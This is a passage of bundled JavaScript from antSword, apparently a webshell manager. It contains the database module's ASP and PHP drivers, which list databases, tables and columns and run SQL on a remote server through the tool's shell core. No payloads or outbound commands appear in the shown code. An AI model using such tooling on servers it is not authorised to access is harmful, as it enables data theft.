win.close();
toastr.success('添加配置成功!');
_this2.tree.insertNewItem(0, 'conn::' + id,
// `${data['type']}:\/\/${data['user']}@${data['host']}`,
data['type'].toUpperCase(), null, _this2.manager.list.imgs[0], _this2.manager.list.imgs[0], _this2.manager.list.imgs[0]);
break;
}
});
}
// 删除配置
}, {
key: 'delConf',
value: function delConf() {
var _this3 = this;
var id = this.tree.getSelected().split('::')[1];
layer.confirm('确定删除此配置吗？', {
icon: 2, shift: 6,
title: '删除配置'
}, function (_) {
layer.close(_);
var ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', {
_id: _this3.manager.opt['_id'],
id: id
});
if (ret === 1) {
toastr.success('删除配置成功！');
_this3.tree.deleteItem('conn::' + id);
// 禁用按钮
_this3.disableToolbar();
_this3.disableEditor();
// ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem);
// this.parse();
} else {
toastr.error('删除配置失败！<br/>' + ret);
}
});
}
// 获取数据库列表
}, {
key: 'getDatabases',
value: function getDatabases(id) {
var _this4 = this;
this.manager.list.layout.progressOn();
// 获取配置
var conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this.core['database_' + conf['type']].show_databases({
conn: conf['conn'],
encode: this.manager.opt.encode,
dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database'
}, function (ret) {
var arr = ret.split('\t');
if (arr.length === 1 && ret === '') {
toastr.warning('执行完毕，没有结果返回');
return _this4.manager.list.layout.progressOff();
};
// 删除子节点
_this4.tree.deleteChildItems('conn::' + id);
// 添加子节点
arr.map(function (_) {
if (!_) {
return;
};
var _db = new Buffer(_).toString('base64');
_this4.tree.insertNewItem('conn::' + id, 'database::' + id + ':' + _db, _, null, _this4.manager.list.imgs[1], _this4.manager.list.imgs[1], _this4.manager.list.imgs[1]);
});
_this4.manager.list.layout.progressOff();
}, function (err) {
toastr.error('获取数据库列表失败！' + err['status'] || JSON.stringify(err), 'ERROR');
_this4.manager.list.layout.progressOff();
});
}
// 获取数据库表数据
}, {
key: 'getTables',
value: function getTables(id, db) {
var _this5 = this;
this.manager.list.layout.progressOn();
// 获取配置
var conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this.core['database_' + conf['type']].show_tables({
conn: conf['conn'],
encode: this.manager.opt.encode,
dbname: db
}, function (ret) {
var arr = ret.split('\t');
var _db = new Buffer(db).toString('base64');
// 删除子节点
_this5.tree.deleteChildItems('database::' + id + ':' + _db);
// 添加子节点
arr.map(function (_) {
if (!_) {
return;
};
var _table = new Buffer(_).toString('base64');
_this5.tree.insertNewItem('database::' + id + ':' + _db, 'table::' + id + ':' + _db + ':' + _table, _, null, _this5.manager.list.imgs[2], _this5.manager.list.imgs[2], _this5.manager.list.imgs[2]);
});
_this5.manager.list.layout.progressOff();
});
}
// 获取字段
}, {
key: 'getColumns',
value: function getColumns(id, db, table) {
var _this6 = this;
this.manager.list.layout.progressOn();
// 获取配置
var conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this.core['database_' + conf['type']].show_columns({
conn: conf['conn'],
encode: this.manager.opt.encode,
table: conf['type'] === 'oracle' ? 'SELECT * FROM (SELECT A.*,ROWNUM N FROM ' + table + ' A) WHERE N=1' : 'SELECT TOP 1 * FROM ' + table
}, function (ret) {
var arr = ret.split('\t');
var _db = new Buffer(db).toString('base64');
var _table = new Buffer(table).toString('base64');
// 删除子节点
_this6.tree.deleteChildItems('table::' + id + ':' + _db + ':' + _table);
// 添加子节点
arr.map(function (_) {
if (!_) {
return;
};
var _column = new Buffer(_.split(' ')[0]).toString('base64');
_this6.tree.insertNewItem('table::' + id + ':' + _db + ':' + _table, 'column::' + id + ':' + _db + ':' + _table + ':' + _column, _, null, _this6.manager.list.imgs[3], _this6.manager.list.imgs[3], _this6.manager.list.imgs[3]);
});
// 更新编辑器SQL语句
_this6.manager.query.editor.session.setValue(conf['type'] === 'oracle' ? 'SELECT * FROM (SELECT A.*,ROWNUM N FROM ' + table + ' A ORDER BY 1 DESC) WHERE N>0 AND N<=20' : 'SELECT TOP 20 * FROM ' + table + ' ORDER BY 1 DESC;');
_this6.manager.list.layout.progressOff();
});
}
// 执行SQL
}, {
key: 'execSQL',
value: function execSQL(sql) {
var _this7 = this;
this.manager.query.layout.progressOn();
this.core['database_' + this.dbconf['type']].query({
conn: this.dbconf['conn'],
encode: this.manager.opt.encode,
sql: sql
}, function (ret) {
// 更新执行结果
_this7.updateResult(ret);
_this7.manager.query.layout.progressOff();
}, function (err) {
console.error(err);
});
}
// 更新SQL执行结果
}, {
key: 'updateResult',
value: function updateResult(data) {
// 1.分割数组
var arr = data.split('\n');
// let arr = [];
// _arr.map((_) => {
// arr.push(antSword.noxss(_));
// });
// console.log(_arr, arr);
// 2.判断数据
if (arr.length < 2) {
return console.log('数据不正确');
};
// 3.行头
var header_arr = arr[0].split('\t|\t');
if (header_arr.length === 1) {
return toastr.warning('没有查询结果');
};
if (header_arr[header_arr.length - 1] === '\r') {
header_arr.pop();
};
arr.shift();
// 4.数据
var data_arr = [];
arr.map(function (_) {
var _data = _.split('\t|\t');
data_arr.push(_data);
});
data_arr.pop();
// 5.初始化表格
var grid = this.manager.result.layout.attachGrid();
grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColSorting('str,'.repeat(header_arr.length).replace(/,$/, ''));
grid.setInitWidths('*');
grid.setEditable(true);
grid.init();
// 添加数据
var grid_data = [];
for (var i = 0; i < data_arr.length; i++) {
grid_data.push({
id: i + 1,
data: data_arr[i]
});
}
grid.parse({
'rows': grid_data
}, 'json');
// 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
}
// 禁用toolbar按钮
}, {
key: 'disableToolbar',
value: function disableToolbar() {
this.manager.list.toolbar.disableItem('del');
}
// 启用toolbar按钮
}, {
key: 'enableToolbar',
value: function enableToolbar() {
this.manager.list.toolbar.enableItem('del');
}
// 禁用SQL编辑框
}, {
key: 'disableEditor',
value: function disableEditor() {
var _context;
['exec', 'clear'].map((_context = this.manager.query.toolbar, this.manager.query.toolbar.disableItem).bind(_context));
this.manager.query.editor.setReadOnly(true);
}
// 启用SQL编辑框
}, {
key: 'enableEditor',
value: function enableEditor() {
var _context2;
['exec', 'clear'].map((_context2 = this.manager.query.toolbar, this.manager.query.toolbar.enableItem).bind(_context2));
this.manager.query.editor.setReadOnly(false);
}
}]);
return ASP;
}();
module.exports = ASP;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(5).Buffer))
/***/ },
/* 77 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 数据库管理模块
//
// import React from 'react';
// import ReactDOM from 'react-dom';
// import AceEditor from 'react-ace';
var LANG = antSword['language']['database'];
var Database = function () {
function Database(opt) {
_classCallCheck(this, Database);
this.hash = (+new Date() * Math.random()).toString(16).substr(2, 8);
// 初始化UI
var tabbar = antSword['tabbar'];
tabbar.addTab('tab_database_' + this.hash, '<i class="fa fa-database"></i> ' + opt['ip'], null, null, true, true);
this.cell = tabbar.cells('tab_database_' + this.hash);
this.cell.progressOn();
// layout
this.layout_main = this.cell.attachLayout('2U');
this.layout_right = this.layout_main.cells('b').attachLayout('2E');
this.list = this.initList(this.layout_main.cells('a'));
this.query = this.initQuery(this.layout_right.cells('a'));
this.result = this.initResult(this.layout_right.cells('b'));
this.opt = opt;
this.win = new dhtmlXWindows();
this.win.attachViewportTo(this.cell.cell);
// 加载数据库驱动
var _module = __webpack_require__(78)("./" + opt['type'] + '/index');
this.drive = new _module({
core: new antSword['core'][opt['type']](opt),
super: this
});
this.cell.progressOff();
}
// 初始化左侧列表
_createClass(Database, [{
key: 'initList',
value: function initList(layout) {
var _this = this;
layout.setText('<i class="fa fa-server"></i> ' + LANG['list']['title']);
layout.setWidth('250');
// tree图标
var imgs = [
// connect
'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAPCAQAAACouOyaAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAAAGQAAABkAA+Wxd0AAAEUSURBVCjPddA9S1txAIXx370JwVCJ0YRCI4FARl2EOrrZdu4USjt0yDewg7uLk1/AF0gcXJylu7MQEUpbaCHcraGNbSik6r1/h2ZIhpzpnIdnOkxnz8B3A/vTMJ5RarpeOFGbr0RSYw+zdFb5ouXSO5/NzYJDQUdxGuZBVVGEIEOmOlljAyKxNz5YFoGykpEhCH47cBqp+Oi5X/6Bkif++gMKKnpe8cwnd95qamo6EnQnvWXsq3peEASJb2CI20l/KhOE2IqCWEWMBUsoKSJWlVOwwpVE4sYmdvQl+nax4Voi0Ys1tG0bqWPNuS1n1rFq7KX3arFMKpUJCNLJ+v9RKpXlZY7dW/QTP7S9VtbBUMOFvNwjiZlZspGW2aUAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTUtMDctMjVUMjE6NDk6MzQrMDg6MDAa6yDqAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE0LTA1LTAxVDIxOjEyOjA2KzA4OjAwmIBnWAAAAE50RVh0c29mdHdhcmUASW1hZ2VNYWdpY2sgNi44LjgtMTAgUTE2IHg4Nl82NCAyMDE1LTA3LTE5IGh0dHA6Ly93d3cuaW1hZ2VtYWdpY2sub3JnBQycNQAAACV0RVh0c3ZnOmNvbW1lbnQAIEdlbmVyYXRlZCBieSBJY29Nb29uLmlvIDDLy0gAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADY2N7Lgj5AAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgANzExhvGGCAAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzk4OTQ5OTI2Hzsr2gAAABN0RVh0VGh1bWI6OlNpemUANy4yMUtCQtXNgY4AAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTU4Mi8xMTU4Mjc4LnBuZwIRWX8AAAAASUVORK5CYII=',
// databass
'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAPCAQAAAB+HTb/AAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAAAGQAAABkAA+Wxd0AAAEXSURBVBjTZck/S5RxAADg5+f75+5t8NTUSktEKCGCFp0U8dwcBMFBNwlu1a8Rrn4CJ0drdDF0bY1e4hAFQcEbTpT0ulfPc2irZ30C3lhWNabsrz/OHPrqLFiy6dKRXEMLmWHvzXlpm1xN6l+pmrzHiKbivyw0jQR36o4cqGtqo6TfpAXz3gUnNnwwpYIHxLiR+247lmnYkhjQL0PLFda0lWOpVUN+amjoIih75dqiUnBsVcWEVEcHkUjHrbrdWMWQfd+UPZOicKfkk3u9sUdzXvjl3I0WEs+99ttH3eDEosikAYmArnu3Ij98ibXN2JEjEuNBR2bdgiJyoaaqT0kikRn0VtWsaZ8Dxq2YNyr1iB6Fc4f2nD4BUO1Rv9s0w+gAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTUtMDctMjVUMjE6NTA6MjYrMDg6MDB8RcVXAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE0LTA1LTAxVDIwOjUwOjM1KzA4OjAwTl0AHAAAAE50RVh0c29mdHdhcmUASW1hZ2VNYWdpY2sgNi44LjgtMTAgUTE2IHg4Nl82NCAyMDE1LTA3LTE5IGh0dHA6Ly93d3cuaW1hZ2VtYWdpY2sub3JnBQycNQAAACV0RVh0c3ZnOmNvbW1lbnQAIEdlbmVyYXRlZCBieSBJY29Nb29uLmlvIDDLy0gAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADcxMRUA1lUAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgANjI03HRLcwAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzk4OTQ4NjM1LMlreQAAABN0RVh0VGh1bWI6OlNpemUAMjEuM0tCQnpsrG8AAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTU3Ny8xMTU3NzMyLnBuZxOTOSYAAAAASUVORK5CYII=',
// table
'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAABLAAAASwAJArFzAAAADgSURBVCjPfdA9L0NhGAbg660X7aaHQXo6kKYswmQUhPKT/Yl20sRQ0qKLGFjo11GW0w4t7unK/eRZ7qBsQ/BX3oMb+/j+5RjQDab//COaepUhSryZLGiLvnM7dp1oulhSN8o862FqNNfQU64sWpEaIbWuYpArNUQqBkNtAxTt6SzpgL5LNTWnWhq5mrnO9KJMzwMyQ49zzbpJVFC2iURUlggSUZKrEHxq+kDJkdtch9q5julrqKs713I911WuXpTpusfYQFdnQZPZDkFVUcVAmO8QVMXgTskYq7a9LGjN1w888l4QdsfN6AAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxNS0wNy0yNVQyMTo1MDozMiswODowMESg4doAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTQtMDQtMDZUMDk6NTM6MTcrMDg6MDA8MBsjAAAATnRFWHRzb2Z0d2FyZQBJbWFnZU1hZ2ljayA2LjguOC0xMCBRMTYgeDg2XzY0IDIwMTUtMDctMTkgaHR0cDovL3d3dy5pbWFnZW1hZ2ljay5vcmcFDJw1AAAAI3RFWHRzdmc6Y29tbWVudAAgR2VuZXJhdG9yOiBJY29Nb29uLmlvILwwrIAAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADUzM8q8AZUAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgANTMzWU1RyAAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzk2NzQ5MTk37+6JEgAAABN0RVh0VGh1bWI6OlNpemUAMi45NUtCQn9HCG8AAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTQzNS8xMTQzNTI4LnBuZ1baGAoAAAAASUVORK5CYII=',
// column
'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAPCAQAAABHeoekAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAAASwAAAEsAHOI6VIAAAB1SURBVBjTY2TYyrCbATcwY2CoYsAHElgYWBjYkAT+MzAwMCLxWRgZtjHsQRIQYGBmeIvEN2VhOMswD0nAiYGXYSOcx8jwk4XhO8MHJAWfGBhQ+F+Z0BzFiM5HV4ABhoiC/yj8f+h8FgYNBh8kAQMGLobfyHwAyM8UUNk8qsEAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTUtMDctMjVUMjE6NDk6MzYrMDg6MDCNdDHDAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE0LTEyLTE5VDE4OjU2OjEyKzA4OjAwOU9bHwAAAE50RVh0c29mdHdhcmUASW1hZ2VNYWdpY2sgNi44LjgtMTAgUTE2IHg4Nl82NCAyMDE1LTA3LTE5IGh0dHA6Ly93d3cuaW1hZ2VtYWdpY2sub3JnBQycNQAAAGN0RVh0c3ZnOmNvbW1lbnQAIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTYuMC4wLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgcgt1lgAAABh0RVh0VGh1bWI6OkRvY3VtZW50OjpQYWdlcwAxp/+7LwAAABh0RVh0VGh1bWI6OkltYWdlOjpIZWlnaHQAMjY1W+dGYAAAABd0RVh0VGh1bWI6OkltYWdlOjpXaWR0aAAyNjZRH0eHAAAAGXRFWHRUaHVtYjo6TWltZXR5cGUAaW1hZ2UvcG5nP7JWTgAAABd0RVh0VGh1bWI6Ok1UaW1lADE0MTg5ODY1NzJGLGnJAAAAE3RFWHRUaHVtYjo6U2l6ZQAxLjEzS0JCW7QG7wAAAFp0RVh0VGh1bWI6OlVSSQBmaWxlOi8vL2hvbWUvd3d3cm9vdC93d3cuZWFzeWljb24ubmV0L2Nkbi1pbWcuZWFzeWljb24uY24vc3JjLzExODMwLzExODMwMjcucG5nOFxJnwAAAABJRU5ErkJggg=='];
// 左侧拦toolbar
var toolbar = layout.attachToolbar();
toolbar.loadStruct([{ id: 'add', text: LANG['list']['add'], icon: 'plus-circle', type: 'button' },
// { type: 'separator' },
// { id: 'edit', text: '编辑', icon: 'edit', type: 'button', disabled: true },
{ type: 'separator' }, { id: 'del', text: LANG['list']['del'], icon: 'trash-o', type: 'button', disabled: true }]);
toolbar.attachEvent('onClick', function (id) {
switch (id) {
case 'add':
_this.drive.addConf();
break;
case 'del':
_this.drive.delConf();
break;
// case 'edit':
// this.drive.editConf();
// break;
}
});
return {
imgs: imgs,
layout: layout,
toolbar: toolbar
};
}
// 初始化右侧::SQL执行
}, {
key: 'initQuery',
value: function initQuery(layout) {
var _this2 = this;
layout.setText('<i class="fa fa-code"></i> ' + LANG['query']['title']);
layout.setHeight('200');
var editor = void 0;
// SQL语句toolbar
var toolbar = layout.attachToolbar();
toolbar.loadStruct([{ id: 'exec', text: LANG['query']['exec'], icon: 'play', type: 'button', disabled: true },
// { type: 'separator' },
// { id: 'import', text: '导入', icon: 'download', type: 'button' },
{ type: 'separator' }, { id: 'clear', text: LANG['query']['clear'], icon: 'remove', type: 'button' }]);
toolbar.attachEvent('onClick', function (id) {
switch (id) {
case 'clear':
editor.session.setValue('');
break;
case 'exec':
_this2.drive.execSQL(editor.session.getValue());
break;
}
});
// SQL语句编辑器
editor = ace.edit(layout.cell.lastChild);
editor.$blockScrolling = Infinity;
editor.setTheme('ace/theme/tomorrow');
editor.session.setMode('ace/mode/sql');
editor.session.setUseWrapMode(true);
editor.session.setWrapLimitRange(null, null);
editor.setOptions({
fontSize: '14px',
enableBasicAutocompletion: true,
enableSnippets: true,
enableLiveAutocompletion: true
});
// 快捷键
editor.commands.addCommand({
name: 'exec',
bindKey: {
win: 'Ctrl-E',
mac: 'Command-E'
},
exec: function exec() {
toolbar.callEvent('onClick', ['exec']);
}
});
editor.session.setValue('SELECT "Hello antSword :)" AS welcome;');
return {
editor: editor,
layout: layout,
toolbar: toolbar
};
}
// 初始化右侧::执行结果
}, {
key: 'initResult',
value: function initResult(layout) {
layout.setText('<i class="fa fa-inbox"></i> ' + LANG['result']['title']);
// layout.hideHeader();
// const toolbar = layout.attachToolbar();
// toolbar.loadStruct([
// { id: 'dump', text: '导出', icon: 'upload', type: 'button', disabled: true },
// { type: 'separator' }
// ]);
return {
layout: layout
};
}
// 创建窗口
}, {
key: 'createWin',
// toolbar: toolbar
value: function createWin(opts) {
var hash = (+new Date() * Math.random()).toString(16).substr(2, 8);
// 默认配置
var opt = $.extend({
title: 'Window:' + hash,
width: 550,
height: 450
}, opts);
// 创建窗口
var _win = this.win.createWindow(hash, 0, 0, opt['width'], opt['height']);
_win.setText(opt['title']);
_win.centerOnScreen();
_win.button('minmax').show();
_win.button('minmax').enable();
// 返回窗口对象
return _win;
}
}]);
return Database;
}();
exports.default = Database;
/***/ },
/* 78 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./asp/index": 74,
"./aspx/index": 75,
"./custom/index": 76,
"./php/index": 79
};
function webpackContext(req) {
return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 78;
/***/ },
/* 79 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(Buffer) {'use strict';
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 数据库驱动::PHP
// 支持数据库:mysql,mssql,oracle,informix
//
var LANG = antSword['language']['database'];
var LANG_T = antSword['language']['toastr'];
var PHP = function () {
function PHP(opt) {
var _this = this;
_classCallCheck(this, PHP);
this.opt = opt;
this.core = this.opt.core;
this.manager = this.opt.super;
// 1. 初始化TREE UI
this.tree = this.manager.list.layout.attachTree();
// 2. 加载数据库配置
this.parse();
// 3. tree单击::设置当前配置&&激活按钮
this.tree.attachEvent('onClick', function (id) {
// 更改按钮状态
id.startsWith('conn::') ? _this.enableToolbar() : _this.disableToolbar();
// 设置当前配置
var tmp = id.split('::');
var arr = tmp[1].split(':');
// 设置当前数据库
_this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: _this.manager.opt['_id'],
id: arr[0]
});
if (arr.length > 1) {
_this.dbconf['database'] = new Buffer(arr[1], 'base64').toString();
// 更新SQL编辑器
_this.enableEditor();
// manager.query.update(this.currentConf);
} else {
_this.disableEditor();
}
});
// 4. tree双击::加载库/表/字段
this.tree.attachEvent('onDblClick', function (id) {
var arr = id.split('::');
if (arr.length < 2) {
throw new Error('ID ERR: ' + id);
};
switch (arr[0]) {
// 获取数据库列表
case 'conn':
_this.getDatabases(arr[1]);
break;
// 获取数据库表名
case 'database':
var _db = arr[1].split(':');
_this.getTables(_db[0], new Buffer(_db[1], 'base64').toString());
break;
// 获取表名字段
case 'table':
var _tb = arr[1].split(':');
_this.getColumns(_tb[0], new Buffer(_tb[1], 'base64').toString(), new Buffer(_tb[2], 'base64').toString());
break;
// 生成查询SQL语句
case 'column':
var _co = arr[1].split(':');
var table = new Buffer(_co[2], 'base64').toString();
var column = new Buffer(_co[3], 'base64').toString();
var sql = 'SELECT `' + column + '` FROM `' + table + '` ORDER BY 1 DESC LIMIT 0,20;';
_this.manager.query.editor.session.setValue(sql);
break;
}
});
// 5. tree右键::功能菜单
this.tree.attachEvent('onRightClick', function (id, event) {
if (!id.startsWith('conn::')) {
return;
};
_this.tree.selectItem(id);
_this.tree.callEvent('onClick', [id]);
bmenu([{
text: LANG['list']['menu']['add'],
icon: 'fa fa-plus-circle',
action: _this.addConf.bind(_this)
}, {
divider: true
}, {
text: LANG['list']['menu']['del'],
icon: 'fa fa-remove',
action: _this.delConf.bind(_this)
}], event);
});
}
// 加载配置列表
_createClass(PHP, [{
key: 'parse',
value: function parse() {
// 获取数据
var info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);
var conf = info['database'] || {};
// 刷新UI
// 1.清空数据
this.tree.deleteChildItems(0);
// 2.添加数据
var items = [];
for (var _ in conf) {
items.push({
id: 'conn::' + _,
text: conf[_]['type'] + '://' + conf[_]['user'] + '@' + conf[_]['host'],
im0: this.manager.list.imgs[0],
im1: this.manager.list.imgs[0],
im2: this.manager.list.imgs[0]
});
}
// 3.刷新UI
this.tree.parse({
id: 0,
item: items
}, 'json');
// 禁用按钮
this.disableToolbar();
this.disableEditor();
}
// 添加配置
}, {
key: 'addConf',
value: function addConf() {
var _this2 = this;
var hash = (+new Date() * Math.random()).toString(16).substr(2, 8);
// 创建窗口
var win = this.manager.win.createWindow(hash, 0, 0, 450, 300);
win.setText(LANG['form']['title']);
win.centerOnScreen();
win.button('minmax').hide();
win.setModal(true);
win.denyResize();
// 工具栏
var toolbar = win.attachToolbar();
toolbar.loadStruct([{
id: 'add',
type: 'button',
icon: 'plus-circle',
text: LANG['form']['toolbar']['add']
}, {
type: 'separator'
}, {
id: 'clear',
type: 'button',
icon: 'remove',
text: LANG['form']['toolbar']['clear']
}]);
// form
var form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: [{ text: 'MYSQL', value: 'mysql', list: [{ type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 }, { type: 'label', label: LANG['form']['encode'] }, { type: 'combo', label: '', name: 'encode', options: function () {
var ret = [];
['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map(function (_) {
ret.push({
text: _,
value: _
});
});
return ret;
}() }] }, { text: 'MSSQL', value: 'mssql' }, { text: 'ORACLE', value: 'oracle' }, { text: 'INFORMIX', value: 'informix' }] }, { type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: 'localhost' }, { type: 'input', label: LANG['form']['user'], name: 'user', required: true, value: 'root' }, { type: 'input', label: LANG['form']['passwd'], name: 'passwd', value: '' }] }], true);
form.attachEvent('onChange', function (_, id) {
if (_ !== 'type') {
return;
};
switch (id) {
case 'mysql':
form.setFormData({
user: 'root',
passwd: ''
});
break;
case 'mssql':
form.setFormData({
user: 'sa',
passwd: ''
});
break;
default:
form.setFormData({
user: 'dbuser',
passwd: 'dbpwd'
});
}
});
// 工具栏点击事件
toolbar.attachEvent('onClick', function (id) {
switch (id) {
case 'clear':
form.clear();
break;
case 'add':
if (!form.validate()) {
return toastr.warning(LANG['form']['warning'], LANG_T['warning']);
};
// 解析数据
var data = form.getValues();
// 验证是否连接成功(获取数据库列表)
var id = antSword['ipcRenderer'].sendSync('shell-addDataConf', {
_id: _this2.manager.opt['_id'],
data: data
});
win.close();
toastr.success(LANG['form']['success'], LANG_T['success']);
_this2.tree.insertNewItem(0, 'conn::' + id, data['type'] + '://' + data['user'] + '@' + data['host'], null, _this2.manager.list.imgs[0], _this2.manager.list.imgs[0], _this2.manager.list.imgs[0]);
break;
}
});
}
// 删除配置
}, {
key: 'delConf',
value: function delConf() {
var _this3 = this;
var id = this.tree.getSelected().split('::')[1];
layer.confirm(LANG['form']['del']['confirm'], {
icon: 2, shift: 6,
title: LANG['form']['del']['title']
}, function (_) {
layer.close(_);
var ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', {
_id: _this3.manager.opt['_id'],
id: id
});
if (ret === 1) {
toastr.success(LANG['form']['del']['success'], LANG_T['success']);
_this3.tree.deleteItem('conn::' + id);
// 禁用按钮
_this3.disableToolbar();
_this3.disableEditor();
// ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem);
// this.parse();
} else {
toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']);
}
});
}
// 获取数据库列表
}, {
key: 'getDatabases',
value: function getDatabases(id) {
var _this4 = this;
this.manager.list.layout.progressOn();
// 获取配置
var conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this.core['database_' + conf['type']].show_databases({
host: conf['host'],
user: conf['user'],
passwd: conf['passwd']
}, function (ret) {
var arr = ret.split('\t');
if (arr.length === 1 && ret === '') {
toastr.warning(LANG['result']['warning'], LANG_T['warning']);
return _this4.manager.list.layout.progressOff();
};
// 删除子节点
_this4.tree.deleteChildItems('conn::' + id);
// 添加子节点
arr.map(function (_) {
if (!_) {
return;
};
var _db = new Buffer(_).toString('base64');
_this4.tree.insertNewItem('conn::' + id, 'database::' + id + ':' + _db, _, null, _this4.manager.list.imgs[1], _this4.manager.list.imgs[1], _this4.manager.list.imgs[1]);
});
_this4.manager.list.layout.progressOff();
}, function (err) {
toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']);
_this4.manager.list.layout.progressOff();
});
}
// 获取数据库表数据
}, {
key: 'getTables',
